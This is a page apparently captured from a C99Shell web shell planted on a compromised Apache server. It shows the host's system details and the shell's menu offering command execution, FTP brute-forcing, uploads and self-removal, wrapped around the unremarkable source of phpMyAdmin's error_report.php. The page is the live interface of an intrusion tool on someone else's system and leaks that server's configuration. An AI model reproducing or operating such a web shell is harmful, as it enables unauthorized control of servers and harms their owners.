!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/   drwxr-xr-x
Free 13.02 GB of 57.97 GB (22.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     error_report.php (4.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Handle error report submission
 *
 * @package PhpMyAdmin
 */
use PhpMyAdmin\ErrorReport;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\Response;
use 
PhpMyAdmin\UserPreferences;
use 
PhpMyAdmin\Utils\HttpRequest;

require_once 
'libraries/common.inc.php';

if (!isset(
$_POST['exception_type'])
    ||!
in_array($_POST['exception_type'], array('js''php'))
) {
    die(
'Oops, something went wrong!!');
}

$response Response::getInstance();

$errorReport = new ErrorReport(new HttpRequest());

if (isset(
$_POST['send_error_report'])
    && (
$_POST['send_error_report'] == true
    
|| $_POST['send_error_report'] == '1')
) {
    if (
$_POST['exception_type'] == 'php') {
        
/**
         * Prevent infinite error submission.
         * Happens in case error submissions fails.
         * If reporting is done in some time interval,
         *  just clear them & clear json data too.
         */
        
if (isset($_SESSION['prev_error_subm_time'])
            && isset(
$_SESSION['error_subm_count'])
            && 
$_SESSION['error_subm_count'] >= 3
            
&& ($_SESSION['prev_error_subm_time']-time()) <= 3000
        
) {
            
$_SESSION['error_subm_count'] = 0;
            
$_SESSION['prev_errors'] = '';
            
$response->addJSON('_stopErrorReportLoop''1');
        } else {
            
$_SESSION['prev_error_subm_time'] = time();
            
$_SESSION['error_subm_count'] = (
                (isset(
$_SESSION['error_subm_count']))
                    ? (
$_SESSION['error_subm_count']+1)
                    : (
0)
            );
        }
    }
    
$reportData $errorReport->getData($_POST['exception_type']);
    
// report if and only if there were 'actual' errors.
    
if (count($reportData) > 0) {
        
$server_response $errorReport->send($reportData);
        if (! 
is_string($server_response)) {
            
$success false;
        } else {
            
$decoded_response json_decode($server_responsetrue);
            
$success = !empty($decoded_response) ?
                
$decoded_response["success"] : false;
        }

        
/* Message to show to the user */
        
if ($success) {
            if ((isset(
$_POST['automatic'])
                && 
$_POST['automatic'] === "true")
                || 
$GLOBALS['cfg']['SendErrorReports'] == 'always'
            
) {
                
$msg __(
                    
'An error has been detected and an error report has been '
                    
'automatically submitted based on your settings.'
                
);
            } else {
                
$msg __('Thank you for submitting this report.');
            }
        } else {
            
$msg __(
                
'An error has been detected and an error report has been '
                
'generated but failed to be sent.'
            
)
            . 
' '
            
__(
                
'If you experience any '
                
'problems please submit a bug report manually.'
            
);
        }
        
$msg .= ' ' __('You may want to refresh the page.');

        
/* Create message object */
        
if ($success) {
            
$msg Message::notice($msg);
        } else {
            
$msg Message::error($msg);
        }

        
/* Add message to response */
        
if ($response->isAjax()) {
            if (
$_POST['exception_type'] == 'js') {
                
$response->addJSON('message'$msg);
            } else {
                
$response->addJSON('_errSubmitMsg'$msg);
            }
        } elseif (
$_POST['exception_type'] == 'php') {
            
$jsCode 'PMA_ajaxShowMessage("<div class=\"error\">'
                    
$msg
                    
'</div>", false);';
            
$response->getFooter()->getScripts()->addCode($jsCode);
        }

        if (
$_POST['exception_type'] == 'php') {
            
// clear previous errors & save new ones.
            
$GLOBALS['error_handler']->savePreviousErrors();
        }

        
/* Persist always send settings */
        
if (isset($_POST['always_send'])
            && 
$_POST['always_send'] === "true"
        
) {
            
$userPreferences = new UserPreferences();
            
$userPreferences->persistOption("SendErrorReports""always""ask");
        }
    }
} elseif (! empty(
$_POST['get_settings'])) {
    
$response->addJSON('report_setting'$GLOBALS['cfg']['SendErrorReports']);
} else {
    if (
$_POST['exception_type'] == 'js') {
        
$response->addHTML($errorReport->getForm());
    } else {
        
// clear previous errors & save new ones.
        
$GLOBALS['error_handler']->savePreviousErrors();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.052 ]--